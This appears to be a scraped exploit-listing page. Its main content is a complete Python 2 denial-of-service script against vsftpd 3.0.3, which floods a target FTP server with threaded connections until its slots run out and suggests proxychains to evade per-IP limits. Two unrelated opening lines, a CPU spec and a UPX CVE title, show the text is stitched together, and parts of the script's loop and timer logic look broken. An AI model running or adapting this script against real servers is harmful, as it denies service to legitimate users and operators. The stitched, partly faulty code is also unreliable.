*   Target CPU architecture: AMD EPYC 7742 64-Core @ 16x 2.25GHz

CVE-2021-46179: Assertion `(unsigned)len <= buf->getSize()' failed in file.cpp:275 · Issue #545 · upx/upx

VSFTPD 3.0.3 allows attackers to cause a denial of service due to limited number of connections allowed.

**vsftpd 3.0.3 - Remote Denial of Service**

    # Exploit Title: vsftpd 3.0.3 - Remote Denial of Service
    # Date: 22-03-2021
    # Exploit Author: xynmaps
    # Vendor Homepage: https://security.appspot.com/vsftpd.html
    # Software Link: https://security.appspot.com/downloads/vsftpd-3.0.3.tar.gz
    # Version: 3.0.3
    # Tested on: Parrot Security OS 5.9.0
    
    #-------------------------------#
    
    #encoding=utf8
    #__author__ = XYN/Dump/NSKB3
    #VSFTPD Denial of Service exploit by XYN/Dump/NSKB3.
    """
    VSFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
    you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
    (if it's limited, just run this script from different proxies using proxychains, and it will work)
    """
    
    import socket
    import sys
    import threading
    import subprocess
    import time
    
    banner = """
    ._________________.
    |     VS-FTPD     |
    |      D o S      |
    |_________________|
    |By XYN/DUMP/NSKB3|
    |_|_____________|_|
    |_|_|_|_____|_|_|_|
    |_|_|_|_|_|_|_|_|_|
    
    """
    usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])
    
    def test(t,p):
    	s = socket.socket()
    	s.settimeout(10)
    	try:
    		s.connect((t, p))
    		response = s.recv(65535)
    		s.close()
    		return 0
    	except socket.error:
    		print("Port {} is not open, please specify a port that is open.".format(p))
    		sys.exit()
    def attack(targ, po, id):
    	try:
    		subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    		#print("Worker {} running".format(id))
    	except OSError: pass
    def main():
    	global target, port, start
    	print banner
    	try:
    		target = sys.argv[1]
    	except:
    		print usage
    		sys.exit()
    	try:
    		port = int(sys.argv[2])
    	except:
    		port = 21
    	try:
    		conns = int(sys.argv[3])
    	except:
    		conns = 50
    	print("[!] Testing if {0}:{1} is open".format(target, port))
    	test(target, port)
    	print("[+] Port {} open, starting attack...".format(port))
    	time.sleep(2)
    	print("[+] Attack started on {0}:{1}!".format(target, port))
    	def loop(target, port, conns):
    		global start
    		threading.Thread(target=timer).start()
    		while 1:
    			for i in range(1, conns + 3):
    				t = threading.Thread(target=attack, args=(target,port,i,))
    				t.start()
    				if i > conns + 2:
    					t.join()
    					break
    					loop()
    
    	t = threading.Thread(target=loop, args=(target, port, conns,))
    	t.start()
    
    def timer():
            start = time.time()
            while 1:
                    if start < time.time() + float(900): pass
                    else:
                            subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                            t = threading.Thread(target=loop, args=(target, port,))
    			t.start()
                            break
    
    main()

Tag

#dos